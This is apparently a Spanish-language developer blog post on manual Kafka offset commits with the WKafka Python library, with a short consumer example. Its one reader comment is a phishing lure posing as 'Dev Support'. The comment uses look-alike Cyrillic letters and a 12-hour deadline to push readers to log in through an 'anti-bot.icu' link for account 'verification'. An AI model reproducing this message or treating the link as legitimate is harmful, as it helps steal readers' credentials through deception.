Tú decides cuándo hecho es hecho: Commit manual de offsets en Kafka.
Día 06 de la serie técnica WKafka Open Source.
Si tu consumidor se apaga justo después de leer un mensaje con auto_commit=True, ese mensaje se perdió para siempre. El commit manual te devuelve el control.
Los Problemas Reales
- El auto-commit marcando mensajes como 'procesados' antes de guardar en base de datos
- Pérdida silenciosa de datos si el contenedor crashea a mitad del procesamiento
- Descuadres contables fantasma causados por commits de offset prematuros
La Implementación
from wkafka import WKafka
kafka = WKafka(auto_commit=False)
@kafka.consumer(topic="financial_ops", format="json")
def on_financial(msg):
save_to_database(msg.value) # 1. Database commit succeeds
msg.commit() # 2. Only now is offset committed!
Por qué esta arquitectura gana
- Cero Pérdida de Datos: auto_commit=False evita el avance prematuro del offset.
- msg.commit(): Confirma únicamente tras escrituras exitosas en base de datos.
- Reanudación Limpia: Los mensajes no confirmados se reintentan tras la recuperación.
Verificación y Estado
Probado y verificado contra clusters reales de Apache Kafka (ver EXAMPLES_STATUS.md en el repositorio). Compatible con Python 3.9 a 3.14 con tipado estricto mypy.
Top comments (1)
Dеаr User,
Due to an іnсreаse in bоt aсtivity on thе рlаtfоrm, wе requirе verifу of your account.
Plеase lоg іn viа the lіnk below:
• anti-bot.icu/5K0N5G7M9C4
Verificated deadline - 12 hours.
Sincerely,Dev Suppоrt